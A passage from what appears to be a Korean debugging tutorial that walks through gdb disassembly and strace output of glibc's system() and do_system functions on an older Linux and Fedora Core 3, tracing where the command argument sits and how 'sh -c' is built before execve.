: push %ebp 0x80483c9 : mov %esp,%ebp 0x80483cb : push $0x8048430 ; 스택에 저장 0x80483d0 : call 0x80482e8 ; system 함수 실행 0x80483d5 : add $0x4,%esp 0x80483d8 : leave 0x80483d9 : ret 0x80483da : nop 0x80483db : nop 0x80483dc : nop 0x80483dd : nop 0x80483de : nop 0x80483df : nop End of assembler dump. (gdb) -- 다음과 같이 실행 후, stack에 저장하는 값이 무엇인지 살펴 보았더니 system 함수의 인자이다. 저장 후, 어느 곳에 위치하는가? -- (gdb) br main Breakpoint 1 at 0x80483cb (gdb) r Starting program: /tmp/s Breakpoint 1, 0x80483cb in main () (gdb) x 0x8048430 0x8048430 <_IO_stdin_used+4>: 0x00007370 (gdb) x/s 0x8048430 0x8048430 <_IO_stdin_used+4>: "ps" (gdb) br system Breakpoint 2 at 0x40058178: file ../sysdeps/posix/system.c, line 38. (gdb) c Continuing. Breakpoint 2, __libc_system (line=0x8048430 "ps") at ../sysdeps/posix/system.c:46 46 ../sysdeps/posix/system.c: 그런 파일이나 디렉토리가 없음. (gdb) x/x $ebp+8 0xbffffbe4: 0x08048430 (gdb) -- 잘 살펴보면, push 명령 후, system 함수로 호출이 넘어갔을때, $ebp + 8 위치에 system 함수의 인자가 자리 잡히는 것을 볼 수 있다. 자, 이쯤이면 인자를 어떻게 불러서 쓰는지 대충 감을 잡을 수 있다. system 함수 내부를 살펴보면, 위의 명령을 불러 쓰기 위해, 0x8(%ebp) 코드를 쓸 것이란 걸 알 수 있다. -- (gdb) disass system Dump of assembler code for function __libc_system: 0x40058160 <__libc_system>: push %ebp 0x40058161 <__libc_system+1>: mov %esp,%ebp 0x40058163 <__libc_system+3>: sub $0x2c4,%esp 0x40058169 <__libc_system+9>: push %edi 0x4005816a <__libc_system+10>: push %esi 0x4005816b <__libc_system+11>: push %ebx 0x4005816c <__libc_system+12>: call 0x40058171 <__libc_system+17> 0x40058171 <__libc_system+17>: pop %ebx 0x40058172 <__libc_system+18>: add $0xae31b,%ebx 0x40058178 <__libc_system+24>: cmpl $0x0,0x8(%ebp) ; 해당 값이 NULL인지 비교 0x4005817c <__libc_system+28>: jne 0x40058188 <__libc_system+40> ; NULL이 아닐 경우 0x4005817e <__libc_system+30>: mov $0x1,%eax 0x40058183 <__libc_system+35>: jmp 0x400583b4 <__libc_system+596> ; NULL일 경우 return 1 0x40058188 <__libc_system+40>: movl $0x1,0xffffff74(%ebp) 0x40058192 <__libc_system+50>: movl $0x0,0xfffffff8(%ebp) 0x40058199 <__libc_system+57>: mov $0x1f,%edx 0x4005819e <__libc_system+62>: lea 0xfffffff4(%ebp),%eax 0x400581a1 <__libc_system+65>: movl $0x0,(%eax) 0x400581a7 <__libc_system+71>: add $0xfffffffc,%eax 0x400581aa <__libc_system+74>: dec %edx 0x400581ab <__libc_system+75>: jns 0x400581a1 <__libc_system+65> 0x400581ad <__libc_system+77>: lea 0xfffffee8(%ebp),%ecx 0x400581b3 <__libc_system+83>: mov %ecx,0xfffffd44(%ebp) 0x400581b9 <__libc_system+89>: push %ecx 0x400581ba <__libc_system+90>: lea 0xffffff74(%ebp),%esi 0x400581c0 <__libc_system+96>: push %esi 0x400581c1 <__libc_system+97>: push $0x2 0x400581c3 <__libc_system+99>: call 0x4002f9ec <_dl_pagesize+119616> 0x400581c8 <__libc_system+104>: add $0xc,%esp 0x400581cb <__libc_system+107>: test %eax,%eax 0x400581cd <__libc_system+109>: jl 0x4005839f <__libc_system+575> 0x400581d3 <__libc_system+115>: lea 0xfffffe5c(%ebp),%eax 0x400581d9 <__libc_system+121>: push %eax 0x400581da <__libc_system+122>: push %esi 0x400581db <__libc_system+123>: push $0x3 0x400581dd <__libc_system+125>: call 0x4002f9ec <_dl_pagesize+119616> 0x400581e2 <__libc_system+130>: add $0xc,%esp 0x400581e5 <__libc_system+133>: test %eax,%eax 0x400581e7 <__libc_system+135>: jge 0x40058210 <__libc_system+176> 0x400581e9 <__libc_system+137>: call 0x4002fa4c <_dl_pagesize+119712> 0x400581ee <__libc_system+142>: mov %eax,%esi 0x400581f0 <__libc_system+144>: mov (%esi),%edi 0x400581f2 <__libc_system+146>: push $0x0 0x400581f4 <__libc_system+148>: mov 0xfffffd44(%ebp),%ecx 0x400581fa <__libc_system+154>: push %ecx 0x400581fb <__libc_system+155>: push $0x2 0x400581fd <__libc_system+157>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058202 <__libc_system+162>: mov %edi,(%esi) 0x40058204 <__libc_system+164>: mov $0xffffffff,%eax 0x40058209 <__libc_system+169>: jmp 0x400583b4 <__libc_system+596> 0x4005820e <__libc_system+174>: mov %esi,%esi 0x40058210 <__libc_system+176>: mov $0x1f,%edx 0x40058215 <__libc_system+181>: lea 0xfffffe58(%ebp),%eax 0x4005821b <__libc_system+187>: nop 0x4005821c <__libc_system+188>: lea 0x0(%esi,1),%esi 0x40058220 <__libc_system+192>: movl $0x0,(%eax) 0x40058226 <__libc_system+198>: add $0xfffffffc,%eax 0x40058229 <__libc_system+201>: dec %edx 0x4005822a <__libc_system+202>: jns 0x40058220 <__libc_system+192> 0x4005822c <__libc_system+204>: orb $0x1,0xfffffdde(%ebp) 0x40058233 <__libc_system+211>: call 0x4002fa4c <_dl_pagesize+119712> 0x40058238 <__libc_system+216>: mov %eax,%esi 0x4005823a <__libc_system+218>: mov (%esi),%edi 0x4005823c <__libc_system+220>: lea 0xfffffd5c(%ebp),%eax 0x40058242 <__libc_system+226>: push %eax 0x40058243 <__libc_system+227>: lea 0xfffffddc(%ebp),%eax 0x40058249 <__libc_system+233>: push %eax 0x4005824a <__libc_system+234>: push $0x0 0x4005824c <__libc_system+236>: call 0x40036410 <__sigprocmask> 0x40058251 <__libc_system+241>: add $0xc,%esp 0x40058254 <__libc_system+244>: test %eax,%eax 0x40058256 <__libc_system+246>: jge 0x40058292 <__libc_system+306> 0x40058258 <__libc_system+248>: mov (%esi),%eax 0x4005825a <__libc_system+250>: cmp $0x26,%eax 0x4005825d <__libc_system+253>: je 0x40058290 <__libc_system+304> 0x4005825f <__libc_system+255>: mov %eax,%edi 0x40058261 <__libc_system+257>: push $0x0 0x40058263 <__libc_system+259>: lea 0xfffffee8(%ebp),%eax 0x40058269 <__libc_system+265>: push %eax 0x4005826a <__libc_system+266>: push $0x2 0x4005826c <__libc_system+268>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058271 <__libc_system+273>: push $0x0 0x40058273 <__libc_system+275>: lea 0xfffffe5c(%ebp),%eax 0x40058279 <__libc_system+281>: push %eax 0x4005827a <__libc_system+282>: push $0x3 0x4005827c <__libc_system+284>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058281 <__libc_system+289>: mov %edi,(%esi) 0x40058283 <__libc_system+291>: mov $0xffffffff,%eax 0x40058288 <__libc_system+296>: jmp 0x400583b4 <__libc_system+596> 0x4005828d <__libc_system+301>: lea 0x0(%esi),%esi 0x40058290 <__libc_system+304>: mov %edi,(%esi) 0x40058292 <__libc_system+306>: call 0x4002f70c <_dl_pagesize+118880> 0x40058297 <__libc_system+311>: mov %eax,%esi 0x40058299 <__libc_system+313>: test %esi,%esi 0x4005829b <__libc_system+315>: jne 0x40058321 <__libc_system+449> 0x400582a1 <__libc_system+321>: lea 0xffff3ee0(%ebx),%eax 0x400582a7 <__libc_system+327>: mov %eax,0xfffffd4c(%ebp) ; "sh -c 명령" 버퍼를 구성하는 부분 0x400582ad <__libc_system+333>: lea 0xffff3ee3(%ebx),%eax 0x400582b3 <__libc_system+339>: mov %eax,0xfffffd50(%ebp) 0x400582b9 <__libc_system+345>: mov 0x8(%ebp),%ecx ; %ecx 레지스터에 system 명령 인자가 들어간다. 0x400582bc <__libc_system+348>: mov %ecx,0xfffffd54(%ebp) 0x400582c2 <__libc_system+354>: movl $0x0,0xfffffd58(%ebp) 0x400582cc <__libc_system+364>: push $0x0 0x400582ce <__libc_system+366>: lea 0xfffffee8(%ebp),%eax 0x400582d4 <__libc_system+372>: push %eax 0x400582d5 <__libc_system+373>: push $0x2 0x400582d7 <__libc_system+375>: call 0x4002f9ec <_dl_pagesize+119616> 0x400582dc <__libc_system+380>: push $0x0 0x400582de <__libc_system+382>: lea 0xfffffe5c(%ebp),%eax 0x400582e4 <__libc_system+388>: push %eax 0x400582e5 <__libc_system+389>: push $0x3 0x400582e7 <__libc_system+391>: call 0x4002f9ec <_dl_pagesize+119616> 0x400582ec <__libc_system+396>: push $0x0 0x400582ee <__libc_system+398>: lea 0xfffffd5c(%ebp),%eax 0x400582f4 <__libc_system+404>: push %eax 0x400582f5 <__libc_system+405>: push $0x2 0x400582f7 <__libc_system+407>: call 0x40036410 <__sigprocmask> 0x400582fc <__libc_system+412>: add $0x24,%esp 0x400582ff <__libc_system+415>: mov 0x6f4(%ebx),%eax 0x40058305 <__libc_system+421>: pushl (%eax) 0x40058307 <__libc_system+423>: lea 0xfffffd4c(%ebp),%eax 0x4005830d <__libc_system+429>: push %eax 0x4005830e <__libc_system+430>: lea 0xffff3ee6(%ebx),%eax 0x40058314 <__libc_system+436>: push %eax 0x40058315 <__libc_system+437>: call 0x400a88d8 <__execve> 0x4005831a <__libc_system+442>: push $0x7f 0x4005831c <__libc_system+444>: call 0x4002fb9c <_dl_pagesize+120048> 0x40058321 <__libc_system+449>: test %esi,%esi 0x40058323 <__libc_system+451>: jl 0x4005833b <__libc_system+475> 0x40058325 <__libc_system+453>: push $0x0 0x40058327 <__libc_system+455>: lea 0xfffffd48(%ebp),%eax 0x4005832d <__libc_system+461>: push %eax 0x4005832e <__libc_system+462>: push %esi 0x4005832f <__libc_system+463>: call 0x4002f7ec <_dl_pagesize+119104> 0x40058334 <__libc_system+468>: add $0xc,%esp 0x40058337 <__libc_system+471>: cmp %esi,%eax 0x40058339 <__libc_system+473>: je 0x40058345 <__libc_system+485> 0x4005833b <__libc_system+475>: movl $0xffffffff,0xfffffd48(%ebp) 0x40058345 <__libc_system+485>: call 0x4002fa4c <_dl_pagesize+119712> 0x4005834a <__libc_system+490>: mov %eax,0xfffffd40(%ebp) 0x40058350 <__libc_system+496>: mov (%eax),%edi 0x40058352 <__libc_system+498>: push $0x0 0x40058354 <__libc_system+500>: lea 0xfffffee8(%ebp),%eax 0x4005835a <__libc_system+506>: push %eax 0x4005835b <__libc_system+507>: push $0x2 0x4005835d <__libc_system+509>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058362 <__libc_system+514>: mov %eax,%esi 0x40058364 <__libc_system+516>: push $0x0 0x40058366 <__libc_system+518>: lea 0xfffffe5c(%ebp),%eax 0x4005836c <__libc_system+524>: push %eax 0x4005836d <__libc_system+525>: push $0x3 0x4005836f <__libc_system+527>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058374 <__libc_system+532>: mov %eax,0xfffffd3c(%ebp) 0x4005837a <__libc_system+538>: push $0x0 0x4005837c <__libc_system+540>: lea 0xfffffd5c(%ebp),%eax 0x40058382 <__libc_system+546>: push %eax 0x40058383 <__libc_system+547>: push $0x2 0x40058385 <__libc_system+549>: call 0x40036410 <__sigprocmask> 0x4005838a <__libc_system+554>: or 0xfffffd3c(%ebp),%esi 0x40058390 <__libc_system+560>: or %eax,%esi 0x40058392 <__libc_system+562>: je 0x400583ae <__libc_system+590> 0x40058394 <__libc_system+564>: mov 0xfffffd40(%ebp),%ecx 0x4005839a <__libc_system+570>: cmpl $0x26,(%ecx) 0x4005839d <__libc_system+573>: je 0x400583a6 <__libc_system+582> 0x4005839f <__libc_system+575>: mov $0xffffffff,%eax 0x400583a4 <__libc_system+580>: jmp 0x400583b4 <__libc_system+596> 0x400583a6 <__libc_system+582>: mov 0xfffffd40(%ebp),%ecx 0x400583ac <__libc_system+588>: mov %edi,(%ecx) 0x400583ae <__libc_system+590>: mov 0xfffffd48(%ebp),%eax 0x400583b4 <__libc_system+596>: lea 0xfffffd30(%ebp),%esp 0x400583ba <__libc_system+602>: pop %ebx 0x400583bb <__libc_system+603>: pop %esi 0x400583bc <__libc_system+604>: pop %edi 0x400583bd <__libc_system+605>: leave 0x400583be <__libc_system+606>: ret End of assembler dump. -- system 함수를 열심히 디버깅하다가 정말 안타까운 점을 발견했다. 내가 무지해서인지 모르겠지만.. 도무지 system 함수 내부의 execve 부분까지 디버깅을 하기 어려울 것 같다. 그 이유는, system 함수 내부에서 자식 프로세스로 명령을 실행하기 때문인데, fork 되는 프로세스를 attach 해서 조사할 방법을 찾을 길이 없다. 대충 들어가는 인자가 어느 레지스터에서 동작하는지 알았으니 그것으로 만족해야 할 것 같다. 실행되는 프로세스 구조는 다음과 같다. -- # strace ./s execve("./s", ["./s"], [/* 21 vars */]) = 0 brk(0) = 0x804952c open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=20282, ...}) = 0 mmap(0, 20282, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40013000 close(3) = 0 open("/lib/libc.so.6", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0755, st_size=4118299, ...}) = 0 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\250\202"..., 4096) = 4096 mmap(0, 993500, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000 mprotect(0x40103000, 30940, PROT_NONE) = 0 mmap(0x40103000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xea000) = 0x40103000 mmap(0x40107000, 14556, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40107000 close(3) = 0 mprotect(0x40018000, 962560, PROT_READ|PROT_WRITE) = 0 mprotect(0x40018000, 962560, PROT_READ|PROT_EXEC) = 0 munmap(0x40013000, 20282) = 0 personality(0 /* PER_??? */) = 0 getpid() = 10691 <========== 현재 pid brk(0) = 0x804952c brk(0x80496cc) = 0x80496cc brk(0x804a000) = 0x804a000 rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 vfork() = 10692 <========== 프로세스 fork 되는 부분 wait4(10692, PID TTY TIME CMD 9622 pts/1 00:00:00 login 9646 pts/1 00:00:00 su 9647 pts/1 00:00:00 bash 10690 pts/1 00:00:00 strace 10691 pts/1 00:00:00 s 10692 pts/1 00:00:00 ps [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 10692 <==== wait 부분 rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 --- SIGCHLD (자식이 종료됨) --- _exit(0) = ? -- 잘 살펴보면, fork 프로세스 생성 후, execve 실행 -> wait 함수를 통해 자식이 종료될 때까지 대기 후, 종료되는 것을 볼 수 있다. 어쩄든 위와 같은 이유 때문에 execve 부분은 디버깅 할 수 없었다. 그럼, 이번엔 fedora core 3의 system 함수를 분석해보도록 하겠다. 방금 분석했던 이전 system 함수와 많은 점이 달라졌는데 system 함수 내부에서 do_system 함수를 호출한다는 점이다. 특히 이 함수는 인자를 %eax 레지스터에 담는 것이 특징이다. -- (gdb) disass system Dump of assembler code for function system: 0x0077d7c0 : push %ebp 0x0077d7c1 : mov %esp,%ebp 0x0077d7c3 : sub $0xc,%esp 0x0077d7c6 : mov %ebx,(%esp) 0x0077d7c9 : mov %esi,0x4(%esp) 0x0077d7cd : mov %edi,0x8(%esp) 0x0077d7d1 : mov 0x8(%ebp),%esi <==== %ebp+8의 값을 %esi 레지스터에 넣음. 0x0077d7d4 : call 0x75dc71 <__i686.get_pc_thunk.bx> 0x0077d7d9 : add $0xee81b,%ebx 0x0077d7df : test %esi,%esi 0x0077d7e1 : je 0x77d803 0x0077d7e3 : mov %gs:0xc,%edx 0x0077d7ea : test %edx,%edx 0x0077d7ec : jne 0x77d825 0x0077d7ee : mov %esi,%eax <======== %esi 레지스터를 %eax에 넣음. 0x0077d7f0 : mov (%esp),%ebx 0x0077d7f3 : mov 0x4(%esp),%esi 0x0077d7f7 : mov 0x8(%esp),%edi 0x0077d7fb : mov %ebp,%esp 0x0077d7fd : pop %ebp 0x0077d7fe : jmp 0x77d320 <==== do_system 호출 0x0077d803 : lea 0xffff4617(%ebx),%eax 0x0077d809 : call 0x77d320 0x0077d80e : test %eax,%eax 0x0077d810 : sete %al 0x0077d813 : movzbl %al,%eax 0x0077d816 : mov (%esp),%ebx 0x0077d819 : mov 0x4(%esp),%esi 0x0077d81d : mov 0x8(%esp),%edi 0x0077d821 : mov %ebp,%esp 0x0077d823 : pop %ebp 0x0077d824 : ret 0x0077d825 : call 0x81aeb0 <__libc_enable_asynccancel> 0x0077d82a : mov %eax,%edi 0x0077d82c : mov %esi,%eax 0x0077d82e : call 0x77d320 0x0077d833 : mov %eax,%esi 0x0077d835 : mov %edi,%eax 0x0077d837 : call 0x81af30 <__libc_disable_asynccancel> 0x0077d83c : mov %esi,%eax 0x0077d83e : jmp 0x77d816 End of assembler dump. (gdb) -- fedora core3의 system 함수 특징은 %ebp + 8에 위치한 명령 코드를 %esi에 넣은 후, 다시 %eax로 복사하여 do_system의 인자로 들어가게 된다. %eax가 어떻게 활용되는지 do_system을 간단히 훑어보겠다. -- (gdb) disass do_system Dump of assembler code for function do_system: 0x0077d320 : push %ebp 0x0077d321 : mov $0x1,%edx 0x0077d326 : mov %esp,%ebp 0x0077d328 : push %edi 0x0077d329 : push %esi 0x0077d32a : lea 0xffffff68(%ebp),%esi 0x0077d330 : push %ebx 0x0077d331 : sub $0x154,%esp 0x0077d337 : call 0x75dc71 <__i686.get_pc_thunk.bx> 0x0077d33c : add $0xeecb8,%ebx 0x0077d342 : mov %eax,0xfffffeb8(%ebp) <========== %ebp - 328에 복사. 0x0077d348 : mov $0x1f,%eax 0x0077d34d : mov %edx,0xffffff64(%ebp) 0x0077d353 : movl $0x0,0xffffffe8(%ebp) 0x0077d35a : lea 0x0(%esi),%esi 0x0077d360 : movl $0x0,(%esi,%eax,4) 0x0077d367 : dec %eax 0x0077d368 : jns 0x77d360 0x0077d36a : xor %eax,%eax 0x0077d36c : mov $0x1,%ecx 0x0077d371 : cmpl $0x0,%gs:0xc 0x0077d379 : je,pt 0x77d37d 0x0077d37c : lock cmpxchg %ecx,0x16bc(%ebx) 0x0077d384 : jne 0x77d929 <_L_mutex_lock_46> 0x0077d38a : mov 0x16b8(%ebx),%eax 0x0077d390 : inc %eax 0x0077d391 : mov %eax,0x16b8(%ebx) 0x0077d397 : dec %eax 0x0077d398 : je 0x77d576 0x0077d39e : cmpl $0x0,%gs:0xc 0x0077d3a6 : je,pt 0x77d3aa 0x0077d3a9 : lock subl $0x1,0x16bc(%ebx) 0x0077d3b1 : jne 0x77d939 <_L_mutex_unlock_59> 0x0077d3b7 : orl $0x10000,0xffffff68(%ebp) 0x0077d3c1 : lea 0xfffffee4(%ebp),%ecx 0x0077d3c7 : xor %edi,%edi 0x0077d3c9 : mov %ecx,0xfffffeb0(%ebp) 0x0077d3cf : mov %ecx,0x8(%esp) 0x0077d3d3 : mov %esi,0x4(%esp) 0x0077d3d7 : movl $0x0,(%esp) 0x0077d3de : call 0x770d30 0x0077d3e3 : test %eax,%eax 0x0077d3e5 : js 0x77d61c 0x0077d3eb : xor %ecx,%ecx 0x0077d3ed : cmpl $0x0,0x3b84(%ebx) 0x0077d3f4 : setne %cl 0x0077d3f7 : test %ecx,%ecx 0x0077d3f9 : mov %ecx,0xfffffeb4(%ebp) 0x0077d3ff : jne 0x77d5da 0x0077d405 : lea 0xfff1184c(%ebx),%esi 0x0077d40b : mov %esi,0xfffffed4(%ebp) 0x0077d411 : lea 0xfffffec0(%ebp),%esi 0x0077d417 : mov %esi,0xfffffed8(%ebp) 0x0077d41d : mov $0x100011,%edi 0x0077d422 : xor %ecx,%ecx 0x0077d424 : mov %esi,%edx 0x0077d426 : xchg %ebx,%edi 0x0077d428 : mov $0x78,%eax <========= clone 시스템 콜 넘버 0x0077d42d : call *%gs:0x10 <========== clone 시스템 콜 호출 0x0077d434 : xchg %edi,%ebx 0x0077d436 : cmp $0xfffff000,%eax 0x0077d43b : mov %eax,%ecx 0x0077d43d : ja 0x77d686 0x0077d443 : mov %ecx,0xfffffec0(%ebp) 0x0077d449 : test %ecx,%ecx 0x0077d44b : mov %ecx,%eax 0x0077d44d : je 0x77d6fe 0x0077d453 : jl 0x77d676 0x0077d459 : lea 0xfffffebc(%ebp),%esi 0x0077d45f : jmp 0x77d473 0x0077d461 : mov 0xffffff20(%ebx),%ecx 0x0077d467 : cmpl $0x4,%gs:(%ecx) 0x0077d46b : jne 0x77d48c 0x0077d46d : mov 0xfffffec0(%ebp),%eax 0x0077d473 : mov %esi,0x4(%esp) 0x0077d477 : xor %edi,%edi 0x0077d479 : mov %edi,0x8(%esp) 0x0077d47d : mov %eax,(%esp) 0x0077d480 : call 0x7d19f0 <==== waitpid 호출 0x0077d485 : cmp $0xffffffff,%eax 0x0077d488 : mov %eax,%edx 0x0077d48a : je 0x77d461 0x0077d48c : cmp 0xfffffec0(%ebp),%edx 0x0077d492 : mov $0xffffffff,%eax 0x0077d497 : cmove 0xfffffebc(%ebp),%eax 0x0077d49e : mov %eax,0xfffffebc(%ebp) 0x0077d4a4 : mov 0xfffffeb4(%ebp),%edx 0x0077d4aa : test %edx,%edx 0x0077d4ac : jne 0x77d602 0x0077d4b2 : xor %eax,%eax 0x0077d4b4 : mov $0x1,%ecx 0x0077d4b9 : cmpl $0x0,%gs:0xc 0x0077d4c1 : je,pt 0x77d4c5 0x0077d4c4 : lock cmpxchg %ecx,0x16bc(%ebx) 0x0077d4cc : jne 0x77d949 <_L_mutex_lock_171> 0x0077d4d2 : mov 0x16b8(%ebx),%ecx 0x0077d4d8 : dec %ecx 0x0077d4d9 : test %ecx,%ecx 0x0077d4db : mov %ecx,0x16b8(%ebx) 0x0077d4e1 : jne 0x77d521 0x0077d4e3 : movl $0x2,(%esp) 0x0077d4ea : xor %ecx,%ecx 0x0077d4ec : lea 0x158c(%ebx),%eax 0x0077d4f2 : mov %ecx,0x8(%esp) 0x0077d4f6 : xor %edi,%edi 0x0077d4f8 : mov %eax,0x4(%esp) 0x0077d4fc : call 0x770bb0 0x0077d501 : mov %edi,0x8(%esp) 0x0077d505 : lea 0x162c(%ebx),%edx 0x0077d50b : mov %eax,%esi 0x0077d50d : mov %edx,0x4(%esp) 0x0077d511 : movl $0x3,(%esp) 0x0077d518 : call 0x770bb0 0x0077d51d : or %eax,%esi 0x0077d51f : jne 0x77d541 0x0077d521 : xor %edx,%edx 0x0077d523 : mov %edx,0x8(%esp) 0x0077d527 : mov 0xfffffeb0(%ebp),%esi 0x0077d52d : movl $0x2,(%esp) 0x0077d534 : mov %esi,0x4(%esp) 0x0077d538 : call 0x770d30 0x0077d53d : test %eax,%eax 0x0077d53f : je 0x77d54c 0x0077d541 : mov $0xffffffff,%edi 0x0077d546 : mov %edi,0xfffffebc(%ebp) 0x0077d54c : cmpl $0x0,%gs:0xc 0x0077d554 : je,pt 0x77d558 0x0077d557 : lock subl $0x1,0x16bc(%ebx) 0x0077d55f : jne 0x77d959 <_L_mutex_unlock_216> 0x0077d565 : mov 0xfffffebc(%ebp),%eax 0x0077d56b : add $0x154,%esp 0x0077d571 : pop %ebx 0x0077d572 : pop %esi 0x0077d573 : pop %edi 0x0077d574 : pop %ebp 0x0077d575 : ret 0x0077d576 : lea 0x158c(%ebx),%edi 0x0077d57c : mov %edi,0xfffffeac(%ebp) 0x0077d582 : mov %edi,0x8(%esp) 0x0077d586 : lea 0xffffff64(%ebp),%edi 0x0077d58c : mov %edi,0x4(%esp) 0x0077d590 : movl $0x2,(%esp) 0x0077d597 : call 0x770bb0 0x0077d59c : test %eax,%eax 0x0077d59e : js 0x77d69b 0x0077d5a4 : mov %edi,0x4(%esp) 0x0077d5a8 : lea 0x162c(%ebx),%edx 0x0077d5ae : mov %edx,0x8(%esp) 0x0077d5b2 : movl $0x3,(%esp) 0x0077d5b9 : call 0x770bb0 0x0077d5be : test %eax,%eax 0x0077d5c0 : jns 0x77d39e 0x0077d5c6 : decl 0x16b8(%ebx) 0x0077d5cc : mov 0xffffff20(%ebx),%eax 0x0077d5d2 : mov %gs:(%eax),%esi 0x0077d5d5 : jmp 0x77d6d4 0x0077d5da : lea 0xfffffec0(%ebp),%esi 0x0077d5e0 : lea 0xfff1184c(%ebx),%edx 0x0077d5e6 : mov %esi,0x8(%esp) 0x0077d5ea : lea 0xfffffed4(%ebp),%edi 0x0077d5f0 : mov %edx,0x4(%esp) 0x0077d5f4 : mov %edi,(%esp) 0x0077d5f7 : call *0x3b84(%ebx) 0x0077d5fd : jmp 0x77d41d 0x0077d602 : xor %edi,%edi 0x0077d604 : lea 0xfffffed4(%ebp),%esi 0x0077d60a : mov %edi,0x4(%esp) 0x0077d60e : mov %esi,(%esp) 0x0077d611 : call *0x3b88(%ebx) 0x0077d617 : jmp 0x77d4b2 0x0077d61c : mov %edi,%eax 0x0077d61e : mov $0x1,%ecx 0x0077d623 : cmpl $0x0,%gs:0xc 0x0077d62b : je,pt 0x77d62f 0x0077d62e : lock cmpxchg %ecx,0x16bc(%ebx) 0x0077d636 : jne 0x77d969 <_L_mutex_lock_290> 0x0077d63c : mov 0x16b8(%ebx),%esi 0x0077d642 : dec %esi 0x0077d643 : test %esi,%esi 0x0077d645 : mov %esi,0x16b8(%ebx) 0x0077d64b : je 0x77d6a3 0x0077d64d : cmpl $0x0,%gs:0xc 0x0077d655 : je,pt 0x77d659 0x0077d658 : lock subl $0x1,0x16bc(%ebx) 0x0077d660 : jne 0x77d979 <_L_mutex_unlock_303> 0x0077d666 : add $0x154,%esp 0x0077d66c : mov $0xffffffff,%eax 0x0077d671 : pop %ebx 0x0077d672 : pop %esi 0x0077d673 : pop %edi 0x0077d674 : pop %ebp 0x0077d675 : ret 0x0077d676 : mov $0xffffffff,%esi 0x0077d67b : mov %esi,0xfffffebc(%ebp) 0x0077d681 : jmp 0x77d4a4 0x0077d686 : mov 0xffffff20(%ebx),%eax 0x0077d68c : neg %ecx 0x0077d68e : mov %ecx,%gs:(%eax) 0x0077d691 : mov $0xffffffff,%ecx 0x0077d696 : jmp 0x77d443 0x0077d69b : decl 0x16b8(%ebx) 0x0077d6a1 : jmp 0x77d64d 0x0077d6a3 : mov 0xffffff20(%ebx),%ecx 0x0077d6a9 : xor %eax,%eax 0x0077d6ab : lea 0x162c(%ebx),%edx 0x0077d6b1 : lea 0x158c(%ebx),%edi 0x0077d6b7 : mov %gs:(%ecx),%esi 0x0077d6ba : mov %eax,0x8(%esp) 0x0077d6be : mov %edx,0x4(%esp) 0x0077d6c2 : movl $0x3,(%esp) 0x0077d6c9 : call 0x770bb0 0x0077d6ce : mov %edi,0xfffffeac(%ebp) 0x0077d6d4 : xor %eax,%eax 0x0077d6d6 : mov %eax,0x8(%esp) 0x0077d6da : mov 0xfffffeac(%ebp),%edx 0x0077d6e0 : movl $0x2,(%esp) 0x0077d6e7 : mov %edx,0x4(%esp) 0x0077d6eb : call 0x770bb0 0x0077d6f0 : mov 0xffffff20(%ebx),%edi 0x0077d6f6 : mov %esi,%gs:(%edi) 0x0077d6f9 : jmp 0x77d64d 0x0077d6fe : mov 0xfffffeb8(%ebp),%ecx <==== 명령 코드를 %ecx 레지스터에 넣음. 0x0077d704 : lea 0xffff4614(%ebx),%edx 0x0077d70a : xor %edi,%edi 0x0077d70c : mov %edx,0xfffffec4(%ebp) ; "sh -c 명령" 구성 부분 0x0077d712 : lea 0xffff460c(%ebx),%eax 0x0077d718 : xor %esi,%esi 0x0077d71a : mov %edi,0xfffffed0(%ebp) 0x0077d720 : lea 0x158c(%ebx),%edx 0x0077d726 : xor %edi,%edi 0x0077d728 : mov %ecx,0xfffffecc(%ebp) ; 세번째로 들어가는 명령 인자 부분 0x0077d72e : mov %eax,0xfffffec8(%ebp) 0x0077d734 : mov %edx,0x4(%esp) 0x0077d738 : mov %esi,0x8(%esp) 0x0077d73c : movl $0x2,(%esp) 0x0077d743 : call 0x770bb0 0x0077d748 : movl $0x3,(%esp) 0x0077d74f : lea 0x162c(%ebx),%ecx 0x0077d755 : xor %eax,%eax 0x0077d757 : mov %ecx,0x4(%esp) 0x0077d75b : mov %eax,0x8(%esp) 0x0077d75f : call 0x770bb0 0x0077d764 : mov %edi,0x8(%esp) 0x0077d768 : mov 0xfffffeb0(%ebp),%esi 0x0077d76e : movl $0x2,(%esp) 0x0077d775 : mov %esi,0x4(%esp) 0x0077d779 : lea 0xfffffec4(%ebp),%esi 0x0077d77f : call 0x770d30 0x0077d784 : mov 0xfffffec4(%ebx),%ecx 0x0077d78a : xor %edx,%edx 0x0077d78c : xor %eax,%eax 0x0077d78e : mov %edx,0x16bc(%ebx) 0x0077d794 : lea 0xffff460f(%ebx),%edx 0x0077d79a : mov (%ecx),%edi 0x0077d79c : mov %eax,0x16b8(%ebx) 0x0077d7a2 : mov %esi,0x4(%esp) 0x0077d7a6 : mov %edi,0x8(%esp) 0x0077d7aa : mov %edx,(%esp) 0x0077d7ad : call 0x7d2490 <==== execve 함수 호출. 0x0077d7b2 : movl $0x7f,(%esp) 0x0077d7b9 : call 0x7d2474 <_exit> 0x0077d7be : mov %esi,%esi End of assembler dump. (gdb) -- 실행 프로세스 조사 결과: -- # strace ./system execve("./system", ["./system"], [/* 22 vars */]) = 0 uname({sys="Linux", node="localhost", ...}) = 0 